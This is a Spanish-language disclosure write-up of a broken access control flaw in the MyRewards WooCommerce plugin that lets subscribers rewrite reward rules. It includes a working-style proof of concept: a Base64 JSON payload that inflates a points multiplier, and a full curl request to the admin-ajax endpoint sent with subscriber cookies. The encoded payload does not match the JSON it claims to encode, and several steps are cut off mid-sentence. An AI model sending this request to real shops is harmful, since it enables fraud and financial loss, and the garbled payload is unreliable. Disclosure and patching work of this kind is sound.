
Falta de autorización / Control de acceso roto en el plugin - MyRewards – Loyalty Points and Rewards for WooCommerce
Aviso: Este repositorio se crea solo con fines educativos y divulgación ética. La vulnerabilidad ha sido reportada de forma responsable al proveedor y ha sido parcheada. No utilice esta información para explotar sistemas sin la debida autorización.
Se descubrió una vulnerabilidad crítica de Control de Acceso Roto / Escalada de Privilegios en el plugin MyRewards (WooRewards) para WooCommerce (versiones <= 5.6.0). Esta falla permite que cualquier usuario autenticado, incluso aquellos con privilegios mínimos como Suscriptores, omita la autorización y modifique reglas sensibles de recompensas de la tienda.
Al explotar esta vulnerabilidad, un atacante puede inflar su multiplicador de puntos de fidelidad a un valor astronómico (p. ej., 999.999.999.999.999), lo que le permite acumular puntos masivos a partir de una sola compra pequeña y canjearlos por cupones o productos gratuitos, lo que resulta en pérdidas económicas directas para la tienda.
<= 5.6.0La causa raíz de esta vulnerabilidad radica en la falta de implementación de comprobaciones de Capacidades (Capability Checks) o protección CSRF en endpoints AJAX críticos que manejan modificaciones en la base de datos.
1. Registro AJAX no autorizado:
El plugin utiliza una clase controladora genérica (EditlistControler) para gestionar operaciones CRUD. En editlistcontroler.php, registra la acción AJAX editlist mediante el hook wp_ajax_, poniéndola a disposición de TODOS los usuarios autenticados, independientemente de su rol:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Ausencia de autorización y validación de nonce:
Dentro de los métodos ajax() y accept(), el código procesa solicitudes que cambian el estado (p. ej., put para actualizar, del para eliminar) basándose únicamente en la entrada del usuario. Omite por completo las llamadas a current_user_can() y check_ajax_referer(), lo que significa que no hay verificación de si el usuario tiene derechos de manage_woocommerce.
3. Procesamiento de cargas útiles peligrosas:
El endpoint acepta una cadena JSON codificada en Base64 mediante el parámetro line, que se decodifica y se pasa directamente al método EventList::write(), guardando la configuración maliciosa directamente en la base de datos:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
Los siguientes pasos demuestran cómo un Suscriptor autenticado puede explotar esta falla.
subscriber.101) es secuencial y fácilmente enumerable observando las respuestas de las peticiones AJAX.Queremos actualizar el multiplicador de puntos de la Regla ID 101 a 999,999,999,999,999.
JSON inicial
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Codificado en Base64 ('valor de line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Ejecute la siguiente solicitud CURL como un usuario con pocos privilegios:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} confirmando la actualización.Para corregir este problema, actualice el plugin MyRewards a la última versión parcheada. El proveedor resolvió esto mediante:
current_user_can() dentro del controlador AJAX para verificar privilegios administrativos.check_ajax_referer() para validar nonces y prevenir la Falsificación de Solicitudes entre Sitios (CSRF).Un breve registro del proceso de divulgación para mostrar que se siguieron estándares éticos: